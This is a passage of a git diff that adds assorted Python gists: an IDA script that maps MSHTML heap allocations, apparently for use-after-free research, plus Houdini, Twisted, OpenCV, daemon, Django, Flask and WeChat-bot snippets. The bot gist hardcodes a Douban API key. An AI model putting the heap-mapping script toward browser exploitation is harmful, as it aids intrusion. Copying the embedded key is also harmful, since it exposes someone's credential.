+      if dynamic_size == 0:
+        if DYSIZE == 0:
+          WrapperAlloc_output_data(f, name, ptr, funcs)
+          add_to_heap_count()
+      if dynamic_size == 1:
+        if DYSIZE == 1:
+          WrapperAlloc_output_data(f, name, ptr, funcs)
+          add_to_heap_count()
+
+print "Beginning"
+if DYSIZE:
+  f = open("C:\\Users\\AppSec\\Desktop\\uaf\\dynamic_MSHTML_Allocations.txt", "w")
+else:
+  f = open("C:\\Users\\AppSec\\Desktop\\uaf\\all_MSHTML_Allocations.txt", "w")
+funcs = {}
+for xref in XrefsTo(HeapAlloc_addr, 0):
+  dynamic_size=0
+  ptr = xref.frm
+  try:
+    x = funcs[ptr]
+  except:
+    funcs[ptr] = []
+
+    func_name = GetFunctionName(ptr)
+    d_func_name = Demangle(func_name, GetLongPrm(INF_SHORT_DN))
+    #try:
+    # if "CCustomCursor::BeginDownload" in d_func_name:
+    #   debug = 1
+    #except:
+    # pass
+
+    Mnem = GetMnem(ptr)
+    if Mnem != "call":
+      continue
+    #print hex(ptr)
+    heap_name, heap_addr, pushes_seen = find_heap(ptr)
+
+    ignore_first_push=1
+
+    flags_addr= find_push(ptr, ignore_first_push)
+    size_addr = find_push(flags_addr, 1) #always ignore the one we just found
+    dynamic_check(size_addr)
+
+    funcs[ptr].append(func_name)
+    funcs[ptr].append(d_func_name)
+    funcs[ptr].append(flags_addr)
+    funcs[ptr].append(size_addr)
+
+    if DYSIZE==1:
+      if dynamic_size==1:
+        output_data(f, ptr, funcs)
+        add_to_heap_count()
+    else:
+      output_data(f, ptr, funcs)
+      add_to_heap_count()
+
+    if "?ProcessHeapAllocClear@@YGPAXK@Z" == func_name:
+      handle_WrapperAlloc(f, 8, "process_heap", func_name, funcs)
+
+    if "?ProcessHeapAlloc@@YGPAXK@Z" == func_name:
+      handle_WrapperAlloc(f, 0, "process_heap", func_name, funcs)
+
+    if "__MemIsolatedAllocClear@4" == func_name:
+      handle_WrapperAlloc(f, 8, "isolated_heap", func_name, funcs)
+
+    if "__MemIsolatedAlloc@4" == func_name:
+      handle_WrapperAlloc(f, 0, "isolated_heap", func_name, funcs)
+
+    debug = 0
+
+f.write("\n\nTotal allocations to the default/process heap=%d\n" % (p_heap+d_heap+v_heap) )
+f.write("Total allocations to separate isolated heap=%d\n" % i_heap)
+f.close()
+print "Done."
+
diff --git a/hard-gists/50ffa966dbb6a1296320705890fcb5cf/._snippet.py b/hard-gists/50ffa966dbb6a1296320705890fcb5cf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/50ffa966dbb6a1296320705890fcb5cf/._snippet.py differ
diff --git a/hard-gists/50ffa966dbb6a1296320705890fcb5cf/snippet.py b/hard-gists/50ffa966dbb6a1296320705890fcb5cf/snippet.py
new file mode 100644
index 00000000..ade20727
--- /dev/null
+++ b/hard-gists/50ffa966dbb6a1296320705890fcb5cf/snippet.py
@@ -0,0 +1,20 @@
+import hou
+sel_nodes = hou.selectedNodes()
+
+if len(sel_nodes) == 0:
+    hou.ui.displayMessage('Please select a node')
+    
+    
+for node in sel_nodes:
+    pos = node.position()
+    name = node.name()
+    parent = node.parent()
+    null = parent.createNode('null', 'OUT_' + str(name))
+    null.setNextInput(node)
+    null.setPosition(pos)
+    null.move([0, -1])
+    color = hou.Color((1,0,0))
+    null.setColor(color)
+    
+    null.setDisplayFlag(True)
+    
\ No newline at end of file
diff --git a/hard-gists/5104071/._snippet.py b/hard-gists/5104071/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5104071/._snippet.py differ
diff --git a/hard-gists/5104071/snippet.py b/hard-gists/5104071/snippet.py
new file mode 100644
index 00000000..5b9af78f
--- /dev/null
+++ b/hard-gists/5104071/snippet.py
@@ -0,0 +1,49 @@
+import os
+
+from zope.interface import implements
+from twisted.internet import abstract, interfaces, reactor, fdesc
+
+class NamedPipeReader(abstract.FileDescriptor):
+
+    def __init__(self, file_name, reactor=None):
+        abstract.FileDescriptor.__init__(self, reactor=reactor)
+        self.file_name = file_name
+        try:
+            os.mkfifo(file_name)
+        except OSError:
+            pass
+
+    def startListening(self):
+        self.fp = open(self.file_name, 'r+')
+        fdesc.setNonBlocking(self.fp)
+        self.fileno = self.fp.fileno
+        self.startReading()
+
+    def doRead(self):
+        buf = self.fp.read(4096)
+
+class NamedPipeWriter(abstract.FileDescriptor):
+    def __init__(self, file_name, reactor=None):
+        abstract.FileDescriptor.__init__(self, reactor=reactor)
+        self.file_name = file_name
+        try:
+            os.mkfifo(file_name)
+        except OSError:
+            pass
+        self.fp = open(self.file_name, 'a+')
+        fdesc.setNonBlocking(self.fp)
+        self.fileno = self.fp.fileno
+
+    def startListening(self):
+        self.startReading()
+
+    def writeSomeData(self, data):
+        self.fp.write(data)
+        self.fp.flush()
+
+npr = NamedPipeReader('/tmp/foobar')
+npw = NamedPipeWriter('/tmp/foobar')
+
+npr.startListening()
+npw.startListening()
+reactor.run()
diff --git a/hard-gists/5106221/._snippet.py b/hard-gists/5106221/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5106221/._snippet.py differ
diff --git a/hard-gists/5106221/snippet.py b/hard-gists/5106221/snippet.py
new file mode 100644
index 00000000..4c7bce66
--- /dev/null
+++ b/hard-gists/5106221/snippet.py
@@ -0,0 +1,145 @@
+#!/usr/bin/env python
+
+'''
+Uses SURF to match two images.
+
+Based on the sample code from opencv:
+  samples/python2/find_obj.py
+
+USAGE
+  find_obj.py <image1> <image2>
+'''
+
+import numpy
+import cv2
+
+import sys
+
+###############################################################################
+# Image Matching
+###############################################################################
+
+def match_images(img1, img2):
+    """Given two images, returns the matches"""
+    detector = cv2.SURF(400, 5, 5)
+    matcher = cv2.BFMatcher(cv2.NORM_L2)
+
+    kp1, desc1 = detector.detectAndCompute(img1, None)
+    kp2, desc2 = detector.detectAndCompute(img2, None)
+    #print 'img1 - %d features, img2 - %d features' % (len(kp1), len(kp2))
+
+    raw_matches = matcher.knnMatch(desc1, trainDescriptors = desc2, k = 2) #2
+    kp_pairs = filter_matches(kp1, kp2, raw_matches)
+    return kp_pairs
+
+def filter_matches(kp1, kp2, matches, ratio = 0.75):
+    mkp1, mkp2 = [], []
+    for m in matches:
+        if len(m) == 2 and m[0].distance < m[1].distance * ratio:
+            m = m[0]
+            mkp1.append( kp1[m.queryIdx] )
+            mkp2.append( kp2[m.trainIdx] )
+    kp_pairs = zip(mkp1, mkp2)
+    return kp_pairs
+    
+    
+###############################################################################
+# Match Diplaying
+###############################################################################
+
+def explore_match(win, img1, img2, kp_pairs, status = None, H = None):
+    h1, w1 = img1.shape[:2]
+    h2, w2 = img2.shape[:2]
+    vis = numpy.zeros((max(h1, h2), w1+w2), numpy.uint8)
+    vis[:h1, :w1] = img1
+    vis[:h2, w1:w1+w2] = img2
+    vis = cv2.cvtColor(vis, cv2.COLOR_GRAY2BGR)
+
+    if H is not None:
+        corners = numpy.float32([[0, 0], [w1, 0], [w1, h1], [0, h1]])
+        corners = numpy.int32( cv2.perspectiveTransform(corners.reshape(1, -1, 2), H).reshape(-1, 2) + (w1, 0) )
+        cv2.polylines(vis, [corners], True, (255, 255, 255))
+
+    if status is None:
+        status = numpy.ones(len(kp_pairs), numpy.bool_)
+    p1 = numpy.int32([kpp[0].pt for kpp in kp_pairs])
+    p2 = numpy.int32([kpp[1].pt for kpp in kp_pairs]) + (w1, 0)
+
+    green = (0, 255, 0)
+    red = (0, 0, 255)
+    white = (255, 255, 255)
+    kp_color = (51, 103, 236)
+    for (x1, y1), (x2, y2), inlier in zip(p1, p2, status):
+        if inlier:
+            col = green
+            cv2.circle(vis, (x1, y1), 2, col, -1)
+            cv2.circle(vis, (x2, y2), 2, col, -1)
+        else:
+            col = red
+            r = 2
+            thickness = 3
+            cv2.line(vis, (x1-r, y1-r), (x1+r, y1+r), col, thickness)
+            cv2.line(vis, (x1-r, y1+r), (x1+r, y1-r), col, thickness)
+            cv2.line(vis, (x2-r, y2-r), (x2+r, y2+r), col, thickness)
+            cv2.line(vis, (x2-r, y2+r), (x2+r, y2-r), col, thickness)
+    vis0 = vis.copy()
+    for (x1, y1), (x2, y2), inlier in zip(p1, p2, status):
+        if inlier:
+            cv2.line(vis, (x1, y1), (x2, y2), green)
+
+    cv2.imshow(win, vis)
+
+
+  
+def draw_matches(window_name, kp_pairs, img1, img2):
+    """Draws the matches for """
+    mkp1, mkp2 = zip(*kp_pairs)
+    
+    p1 = numpy.float32([kp.pt for kp in mkp1])
+    p2 = numpy.float32([kp.pt for kp in mkp2])
+    
+    if len(kp_pairs) >= 4:
+        H, status = cv2.findHomography(p1, p2, cv2.RANSAC, 5.0)
+        #print '%d / %d  inliers/matched' % (numpy.sum(status), len(status))
+    else:
+        H, status = None, None
+        #print '%d matches found, not enough for homography estimation' % len(p1)
+    
+    if len(p1):
+        explore_match(window_name, img1, img2, kp_pairs, status, H)
+
+###############################################################################
+# Test Main
+###############################################################################
+
+if __name__ == '__main__':
+    """Test code: Uses the two specified"""
+    if len(sys.argv) < 3:
+        print "No filenames specified"
+        print "USAGE: find_obj.py <image1> <image2>"
+        sys.exit(1)
+    
+    fn1 = sys.argv[1]
+    fn2 = sys.argv[2]
+
+    img1 = cv2.imread(fn1, 0)
+    img2 = cv2.imread(fn2, 0)
+    
+    if img1 is None:
+        print 'Failed to load fn1:', fn1
+        sys.exit(1)
+        
+    if img2 is None:
+        print 'Failed to load fn2:', fn2
+        sys.exit(1)
+
+    kp_pairs = match_images(img1, img2)
+    
+    if kp_pairs:
+        draw_matches('find_obj', kp_pairs, img1, img2)
+        cv2.waitKey()
+        cv2.destroyAllWindows()    
+else:
+        print "No matches found"
+    
+    
\ No newline at end of file
diff --git a/hard-gists/5108298/._snippet.py b/hard-gists/5108298/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5108298/._snippet.py differ
diff --git a/hard-gists/5108298/snippet.py b/hard-gists/5108298/snippet.py
new file mode 100644
index 00000000..80ee2525
--- /dev/null
+++ b/hard-gists/5108298/snippet.py
@@ -0,0 +1,148 @@
+# vim: tabstop=4 shiftwidth=4 softtabstop=4
+#!/usr/bin/python
+import sys
+import time
+import logging
+from daemon import runner
+#
+# An example daemon main logic application class.
+# Just keep writing timestamps to a log file periodically.
+#
+class App:
+    def __init__(self):
+        # python-daemon DaemonRunner requires the below.
+        self.stdin_path = '/dev/null'
+        self.stdout_path = '/dev/null'
+        self.stderr_path = '/dev/null'
+        # For debug, you can use '/dev/tty' for stdout/stderr instead.
+        #self.stdout_path = '/dev/tty'
+        #self.stderr_path = '/dev/tty'
+        self.pidfile_path =  '/tmp/foo.pid'
+        self.pidfile_timeout = 5
+        # The above 5 attributes are mandatory.
+        #
+        # The below are this App specific. (conf file is not implemented now)
+        self.log_file = '/tmp/foobar.log'
+        self.conf_file = '/etc/pdaemon.conf'
+        self.foreground = False
+
+    def run(self):
+        # Here is your main logic.
+        # Initializing code.
+        if not self.foreground:
+            logging.basicConfig(level=logging.DEBUG,
+                            format='%(asctime)s %(levelname)s %(message)s',
+                            filename=self.log_file,
+                            filemode='a')
+        while True:
+            # the main loop code.
+            try:
+                str = time.asctime(time.localtime(time.time()))
+                if self.foreground:
+                    print str
+                else:
+                    logging.info('DEBUG: %s' % str)
+
+                time.sleep(1)
+            except:
+                logging.info(sys.exc_info())
+                logging.info('Terminating.')
+                sys.exit(1)
+#
+# An example extension of runner.DaemonRunner class of python-daemon.
+# Improvement points are:
+#   - Natual unix getopt style option.
+class MyDaemonRunner(runner.DaemonRunner):
+    def __init__(self, app):
+        # workaround... :(
+        self.app_save = app
+
+        self.detach_process = True
+        runner.DaemonRunner.__init__(self, app)
+
+    def parse_args(self, argv=None):
+        # Note that DaemonRunner implements its own parse_args(), and
+        # it is called in __init__ of the class.
+        # Here, we override it following unix getopt style syntax.
+        import getopt
+
+        try:
+            opts, args = getopt.getopt(sys.argv[1:],
+                                        'skrl:p:fvh',
+                                       ['start', 'kill', 'log_file=',
+                                        'pid_file=', 'foreground'])
+        except getopt.GetoptError:
+            print sys.exc_info()
+            print 'getopt error...'
+            sys.exit(2)
+
+        self.action = ''
+        for opt, arg in opts:
+            #print 'opt / arg :', opt, arg
+            if opt in ('-s'):
+                self.action = 'start'
+
+            elif opt in ('-k'):
+                self.action = 'stop'
+
+            elif opt in ('-r'):
+                self.action = 'restart'
+
+            elif opt in ('-l', '--log_file'):
+                # log_file is stored in the App object. But, here it's
+                # pointed by 'app_save' attribute of MyDaemonRunner,
+                # not by 'app'. This is because __init__ of DaemonRunner
+                # calls parse_args() BEFORE recording app reference... :(
+                self.app_save.log_file = arg
+                # print 'setting log_file :' , self.app_save.log_file
+
+            elif opt in ('-p', '--pidfile'):
+                self.app_save.pidfile_path = arg
+                #print 'arg is :', arg
+
+            elif opt in ('-f', '--foreground'):
+                self.detach_process = False
+                self.app_save.stdout_path = '/dev/tty'
+                self.app_save.stderr_path = '/dev/tty'
+                self.app_save.foreground = True
+
+            elif opt in ('-v'):
+                self.verbose = True
+
+            elif opt in ('-h', '--help'):
+                print 'show usage...'
+                sys.exit(2)
+
+            else:
+                print 'show usage'
+                sys.exit(2)
+
+        if not self.action:
+            print sys.argv[0] + ' (-s|-k|-r) [options]'
+            sys.exit(1)
+    #
+    # FYI: The original parse_args() in runner.DaemonRunner class.
+    #
+    def original_parse_args(self, argv=None):
+        """ Parse command-line arguments.
+            """
+        if argv is None:
+            argv = sys.argv
+
+        min_args = 2
+        if len(argv) < min_args:
+            self._usage_exit(argv)
+
+        self.action = argv[1]
+        if self.action not in self.action_funcs:
+            self._usage_exit(argv)
+#
+#
+#
+if __name__ == '__main__':
+    app = App()
+    daemon_runner = MyDaemonRunner(app)
+    if not app.foreground:
+        daemon_runner.do_action()
+    else:
+        app.run()
diff --git a/hard-gists/5108504/._snippet.py b/hard-gists/5108504/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5108504/._snippet.py differ
diff --git a/hard-gists/5108504/snippet.py b/hard-gists/5108504/snippet.py
new file mode 100644
index 00000000..f2122789
--- /dev/null
+++ b/hard-gists/5108504/snippet.py
@@ -0,0 +1,118 @@
+#!/usr/bin/python3
+
+import json
+import os
+import subprocess
+import urllib.request
+import sys
+from operator import itemgetter
+
+
+__author__ = 'Marius Gedminas <marius@gedmin.as>'
+__licence__ = 'MIT'
+__url__ = 'https://gist.github.com/mgedmin/5108504'
+
+
+class Error(Exception):
+    """An error that is not a bug in this script."""
+
+
+def get_json_and_headers(url):
+    """Perform HTTP GET for a URL, return deserialized JSON and headers.
+
+    Returns a tuple (json_data, headers) where headers is an instance
+    of email.message.Message (because that's what urllib gives us).
+    """
+    with urllib.request.urlopen(url) as r:
+        # We expect Github to return UTF-8, but let's verify that.
+        content_type = r.info().get('Content-Type', '').lower()
+        if content_type not in ('application/json; charset="utf-8"',
+                                'application/json; charset=utf-8'):
+            raise Error('Did not get UTF-8 JSON data from {}, got {}'
+                        .format(url, content_type))
+        return json.loads(r.read().decode('UTF-8')), r.info()
+
+
+def get_github_list(url, batch_size=100):
+    """Perform (a series of) HTTP GETs for a URL, return deserialized JSON.
+
+    Format of the JSON is documented at
+    http://developer.github.com/v3/repos/#list-organization-repositories
+
+    Supports batching (which Github indicates by the presence of a Link header,
+    e.g. ::
+
+        Link: <https://api.github.com/resource?page=2>; rel="next",
+              <https://api.github.com/resource?page=5>; rel="last"
+
+    """
+    # API documented at http://developer.github.com/v3/#pagination
+    res, headers = get_json_and_headers('{}?per_page={}'.format(
+                                                url, batch_size))
+    page = 1
+    while 'rel="next"' in headers.get('Link', ''):
+        page += 1
+        more, headers = get_json_and_headers('{}?page={}&per_page={}'.format(
+                                                    url, page, batch_size))
+        res += more
+    return res
+
+
+ZOPE_GITHUB_LIST = 'https://api.github.com/orgs/ZopeFoundation/repos'
+EXCEPTIONS = set()
+
+
+class Progress(object):
+    stream = sys.stdout
+    last_message = ''
+    format = '[{bar}] {cur}/{total}'
+    bar_width = 20
+
+    def write(self, message):
+        if self.last_message:
+            self.clear()
+        self.stream.write('\r')
+        self.stream.write(message)
+        self.stream.write('\r')
+        self.stream.flush()
+        self.last_message = message
+
+    def clear(self):
+        self.stream.write('\r{}\r'.format(' ' * len(self.last_message.rstrip())))
+        self.stream.flush()
+        self.last_message = ''
+
+    def message(self, cur, total):
+        return self.format.format(cur=cur, total=total,
+                                  bar=self.bar(cur, total))
+
+    def scale(self, range, cur, total):
+        return range * cur // max(total, 1)
+
+    def bar(self, cur, total):
+        n = self.scale(self.bar_width, cur, total)
+        return ('=' * n).ljust(self.bar_width)
+
+    def __call__(self, cur, total):
+        self.write(self.message(cur, total))
+
+
+def main():
+    progress = Progress()
+    progress.write('Fetching list of repositories from GitHub...')
+    repos = sorted(get_github_list(ZOPE_GITHUB_LIST), key=itemgetter('full_name'))
+    progress.clear()
+    for n, repo in enumerate(repos, 1):
+        print("+ {full_name}".format(**repo))
+        progress(n, len(repos))
+        dir = repo['name']
+        if os.path.exists(dir):
+            subprocess.call(['git', 'pull', '-q', '--ff-only'], cwd=dir)
+        else:
+            # use repo['git_url'] for anonymous checkouts
+            subprocess.call(['git', 'clone', '-q', repo['ssh_url']])
+        progress.clear()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/511440/._snippet.py b/hard-gists/511440/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/511440/._snippet.py differ
diff --git a/hard-gists/511440/snippet.py b/hard-gists/511440/snippet.py
new file mode 100644
index 00000000..e76d4301
--- /dev/null
+++ b/hard-gists/511440/snippet.py
@@ -0,0 +1,26 @@
+# How to add a field to the Django Admin Add User form 
+# using UserCreationForm. Add this to a admin.py and alter 
+# to whatever fields you'd like
+
+from django.contrib.auth.forms import UserCreationForm
+from django.contrib.auth.models import User
+from django.contrib.auth.admin import UserAdmin
+from django import forms
+from django.utils.translation import ugettext_lazy as _
+from django.contrib import admin
+
+class UserCreationFormExtended(UserCreationForm): 
+    def __init__(self, *args, **kwargs): 
+        super(UserCreationFormExtended, self).__init__(*args, **kwargs) 
+        self.fields['email'] = forms.EmailField(label=_("E-mail"), max_length=75)
+
+UserAdmin.add_form = UserCreationFormExtended
+UserAdmin.add_fieldsets = (
+    (None, {
+        'classes': ('wide',),
+        'fields': ('email', 'username', 'password1', 'password2',)
+    }),
+)
+
+admin.site.unregister(User)
+admin.site.register(User, UserAdmin)
\ No newline at end of file
diff --git a/hard-gists/5116241/._snippet.py b/hard-gists/5116241/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5116241/._snippet.py differ
diff --git a/hard-gists/5116241/snippet.py b/hard-gists/5116241/snippet.py
new file mode 100644
index 00000000..fb99dbc6
--- /dev/null
+++ b/hard-gists/5116241/snippet.py
@@ -0,0 +1,26 @@
+from numpy import linspace, sin, exp
+import sys
+import pylab
+import larch
+
+# set python path so that larch plugins can be found
+sys.path.append(larch.plugin_path('xafs'))
+import xafsft
+
+k = linspace(0, 20, 401)
+chi = sin(4.2*k)*exp(-k*k/150)*exp(-(k-10)**2/50)
+
+# need to have an larch interpreter for most functions
+mylarch = larch.Interpreter()
+
+# create an empty group
+out = larch.Group()
+
+# forward transform, passing in interpreter a group
+# into which results are put
+xafsft.xftf(k, chi, kmin=2, kmax=15, dk=3, kweight=4,
+            _larch=mylarch, group=out)
+
+# the larch Group 'out' is a plain object, with all data in members:
+pylab.plot(out.r, out.chir_mag)
+pylab.show()
diff --git a/hard-gists/5145500/._snippet.py b/hard-gists/5145500/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5145500/._snippet.py differ
diff --git a/hard-gists/5145500/snippet.py b/hard-gists/5145500/snippet.py
new file mode 100644
index 00000000..e82ecf50
--- /dev/null
+++ b/hard-gists/5145500/snippet.py
@@ -0,0 +1,113 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+SYNOPSIS
+
+    flask_gridfs_images.py --start
+    flask_gridfs_images.py --add <IMAGE_URL>
+    
+DESCRIPTION
+
+    Use the --add option to download and insert an image into a mongo gridfs
+    collection. Use the --start option to start a Flask application that can
+    serve images at the url /example_image.jpg.    
+    
+AUTHOR
+
+    Jason Cupp <jason at cuppster.com>
+    
+LICENSE
+    
+    Public Domain
+
+"""
+
+from flask import Flask, send_file
+
+import argparse
+import cStringIO
+import mimetypes
+import requests
+from PIL import Image
+
+from pymongo import Connection
+import gridfs
+
+
+# setup mongo
+MONGODB_HOST = 'localhost'
+MONGODB_PORT = 27017
+
+# connect to the database & get a gridfs handle
+mongo_con = Connection(MONGODB_HOST, MONGODB_PORT)
+grid_fs = gridfs.GridFS(mongo_con.test_database)
+
+
+def serve_pil_image(pil_img):
+    """
+    see: 
+        https://groups.google.com/forum/?fromgroups=#!topic/python-tornado/B19D6ll_uZE
+        http://stackoverflow.com/questions/7877282/how-to-send-image-generated-by-pil-to-browser
+    """
+    img_io = cStringIO.StringIO() 
+    pil_img.save(img_io, 'JPEG', quality=70)
+    img_io.seek(0)
+    return send_file(img_io, mimetype='image/jpeg')
+    
+    
+def add_image(image_url):
+    """add an image to mongo's gridfs"""
+        
+    # gridfs filename
+    gridfs_filename = 'example_image.jpg'        
+   
+    # guess the mimetype and request the image resource
+    mime_type = mimetypes.guess_type(image_url)[0]        
+    r = requests.get(image_url, stream=True)
+ 
+    # insert the resource into gridfs using the raw stream
+    _id = grid_fs.put(r.raw, contentType=mime_type, filename=gridfs_filename)
+    print "created new gridfs file {0} with id {1}".format(gridfs_filename, _id)
+
+
+def start():
+    """start the flask service"""
+    
+    # create app
+    app = Flask(__name__)
+    app.debug = True
+    
+    # our ONE route, to serve up image from gridfs
+    @app.route('/image/<path:filename>')
+    def get_image(filename):        
+        """retrieve an image from mongodb gridfs"""
+        
+        if not grid_fs.exists(filename=filename):
+            raise Exception("mongo file does not exist! {0}".format(filename))
+        
+        im_stream = grid_fs.get_last_version(filename)
+        im = Image.open(im_stream)
+        return serve_pil_image(im)
+    
+    
+    # let's go!
+    app.run()
+    
+
+def main():
+    
+    # CLI
+    parser = argparse.ArgumentParser()    
+    parser.add_argument('--start', action='store_true', help='start the service')
+    parser.add_argument('--add', help='add an image via URL')    
+    args = parser.parse_args()
+    
+    if args.start:
+        start()
+    elif args.add:
+        add_image(args.add)
+
+    
+if __name__ == "__main__":
+    main()
+    
\ No newline at end of file
diff --git a/hard-gists/5149802/._snippet.py b/hard-gists/5149802/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5149802/._snippet.py differ
diff --git a/hard-gists/5149802/snippet.py b/hard-gists/5149802/snippet.py
new file mode 100644
index 00000000..d0827f38
--- /dev/null
+++ b/hard-gists/5149802/snippet.py
@@ -0,0 +1,173 @@
+#! /usr/bin/env python
+# coding=utf-8
+__author__ = 'jszhou'
+from bottle import *
+import hashlib
+import xml.etree.ElementTree as ET
+import urllib2
+# import requests
+import json
+
+"""
+Change Log:
+# 03-04--03-08 完成微信API+Python自动回复代码雏形，可以通过电影ID查询电影信息，以Text形式返回给用户电影
+Title和电影summary
+# 03-11 完成通过电影名称查询并返回图文格式的数据
+# 03-13 1.增加给新关注的用户自动返回“欢迎关注豆瓣电影，输入电影名称即可快速查询电影讯息哦！”信息的功能
+        2.完善注释信息
+# 03-28 根据微信公众平台公告，更改获取新关注用户方式，从text改为event。
+
+关于本地调试问题：
+微信没有提供本地调试功能，给用户造成不小的麻烦。
+打开Bottle的Debug功能，在本地运行自己的代码（启动Server），使用Chrome或Firefox上的Advanced Rest Client插件来模拟微信服务器向自己的应用发送请求，
+这样就可以看到详细的报错信息，方便开发者定位修复问题，其相当于，自己的应用是SAE，而Advanced Rest Client模拟的是新微信客户端和微信服务器。
+也有同学自己写脚本，模拟微信服务器发送数据，这也是同样的道理。
+
+遗留问题：
+1.从豆瓣拿到的海报图片都是竖向的，而微信中显示的是横向的，所以在微信看图片就被裁了一节，不过还好能看，
+  如何能完整显示海报图片，有待进一步research;
+2.现在的通过电影名称返回的结果，实际上是拿的豆瓣返回的第一条数据，这样就有可能不准确，如何精确匹配用户的
+  查询条件，也还需要进一步研究。
+"""
+
+
+@get("/")
+def checkSignature():
+    """
+    这里是用来做接口验证的，从微信Server请求的URL中拿到“signature”,“timestamp”,"nonce"和“echostr”，
+    然后再将token, timestamp, nonce三个排序并进行Sha1计算，并将计算结果和拿到的signature进行比较，
+    如果相等，就说明验证通过。
+    话说微信的这个验证做的很渣，因为只要把echostr返回去，就能通过验证，这也就造成我看到一个Blog中，
+    验证那儿只返回了一个echostr，而纳闷了半天。
+    附微信Server请求的Url示例：http://yoursaeappid.sinaapp.com/?signature=730e3111ed7303fef52513c8733b431a0f933c7c
+    &echostr=5853059253416844429&timestamp=1362713741&nonce=1362771581
+    """
+    token = "xiaomayi"  # 你在微信公众平台上设置的TOKEN
+    signature = request.GET.get('signature', None)  # 拼写不对害死人那，把signature写成singnature，直接导致怎么也认证不成功
+    timestamp = request.GET.get('timestamp', None)
+    nonce = request.GET.get('nonce', None)
+    echostr = request.GET.get('echostr', None)
+    tmpList = [token, timestamp, nonce]
+    tmpList.sort()
+    tmpstr = "%s%s%s" % tuple(tmpList)
+    hashstr = hashlib.sha1(tmpstr).hexdigest()
+    if hashstr == signature:
+        return echostr
+    else:
+        return None
+
+
+def parse_msg():
+    """
+    这里是用来解析微信Server Post过来的XML数据的，取出各字段对应的值，以备后面的代码调用，也可用lxml等模块。
+    """
+    recvmsg = request.body.read()  # 严重卡壳的地方，最后还是在Stack OverFlow上找到了答案
+    root = ET.fromstring(recvmsg)
+    msg = {}
+    for child in root:
+        msg[child.tag] = child.text
+    return msg
+
+
+def query_movie_info():
+    """
+    这里使用豆瓣的电影search API，通过关键字查询电影信息，这里的关键点是，一是关键字取XML中的Content值，
+    二是如果Content中存在汉字，就需要先转码，才能进行请求
+    """
+    movieurlbase = "http://api.douban.com/v2/movie/search"
+    DOUBAN_APIKEY = "0ec7076653f7fffb2c551632fbe7fff1"  # 这里需要填写你自己在豆瓣上申请的应用的APIKEY
+    movieinfo = parse_msg()
+    searchkeys = urllib2.quote(movieinfo["Content"].encode("utf-8"))  # 如果Content中存在汉字，就需要先转码，才能进行请求
+    url = '%s?q=%s&apikey=%s' % (movieurlbase, searchkeys, DOUBAN_APIKEY)
+    # return "<p>{'url': %s}</p>" % url
+    # url = '%s%s?apikey=%s' % (movieurlbase, id["Content"], DOUBAN_APIKEY)
+    # resp = requests.get(url=url, headers=header)
+    resp = urllib2.urlopen(url)
+    movie = json.loads(resp.read())
+    # return "<p>{'movie': %s}</p>" % movie
+    # info = movie["subjects"][0]["title"] + movie["subjects"][0]["alt"]
+    # info = movie['title'] + ': ' + ''.join(movie['summary'])
+    return movie
+    # return info
+
+
+def query_movie_details():
+    """
+    这里使用豆瓣的电影subject API，通过在query_movie_info()中拿到的电影ID，来获取电影的summary。
+    """
+    movieurlbase = "http://api.douban.com/v2/movie/subject/"
+    DOUBAN_APIKEY = "0ec7076653f7fffb2c551632fbe7fff1"  # 这里需要填写你自己在豆瓣上申请的应用的APIKEY
+    id = query_movie_info()
+    url = '%s%s?apikey=%s' % (movieurlbase, id["subjects"][0]["id"], DOUBAN_APIKEY)
+    resp = urllib2.urlopen(url)
+    description = json.loads(resp.read())
+    description = ''.join(description['summary'])
+    return description
+
+
+@post("/")
+def response_msg():
+    """
+    这里是响应微信Server的请求，并返回数据的主函数，判断Content内容，如果是一条“subscribe”的事件，就
+    表明是一个新注册用户，调用纯文本格式返回，如果是其他的内容就组织数据以图文格式返回。
+
+    基本思路：
+    # 拿到Post过来的数据
+    # 分析数据（拿到FromUserName、ToUserName、CreateTime、MsgType和content）
+    # 构造回复信息（将你组织好的content返回给用户）
+    """
+    # 拿到并解析数据
+    msg = parse_msg()
+    # 设置返回数据模板
+    # 纯文本格式
+    textTpl = """<xml>
+             <ToUserName><![CDATA[%s]]></ToUserName>
+             <FromUserName><![CDATA[%s]]></FromUserName>
+             <CreateTime>%s</CreateTime>
+             <MsgType><![CDATA[text]]></MsgType>
+             <Content><![CDATA[%s]]></Content>
+             <FuncFlag>0</FuncFlag>
+             </xml>"""
+    # 图文格式
+    pictextTpl = """<xml>
+                <ToUserName><![CDATA[%s]]></ToUserName>
+                <FromUserName><![CDATA[%s]]></FromUserName>
+                <CreateTime>%s</CreateTime>
+                <MsgType><![CDATA[news]]></MsgType>
+                <ArticleCount>1</ArticleCount>
+                <Articles>
+                <item>
+                <Title><![CDATA[%s]]></Title>
+                <Description><![CDATA[%s]]></Description>
+                <PicUrl><![CDATA[%s]]></PicUrl>
+                <Url><![CDATA[%s]]></Url>
+                </item>
+                </Articles>
+                <FuncFlag>1</FuncFlag>
+                </xml> """
+    # 判断MsgType内容，如果是一条“subscribe”的event，表明是一个新关注用户，如果不是，就返回电影标题，电影简介
+    # 和电影海报组成的图文信息
+    if msg["MsgType"] == "event":
+        echostr = textTpl % (
+            msg['FromUserName'], msg['ToUserName'], str(int(time.time())),
+            u"欢迎关注豆瓣电影，输入电影名称即可快速查询电影讯息哦！")
+        return echostr
+    else:
+        Content = query_movie_info()
+        description = query_movie_details()
+        echostr = pictextTpl % (msg['FromUserName'], msg['ToUserName'], str(int(time.time())),
+                                Content["subjects"][0]["title"], description,
+                                Content["subjects"][0]["images"]["large"], Content["subjects"][0]["alt"])
+        return echostr
+
+if __name__ == "__main__":
+    # Interactive mode
+    debug(True)
+    run(host='127.0.0.1', port=8888, reloader=True)
+else:
+    # Mod WSGI launch
+    import sae
+    debug(True)
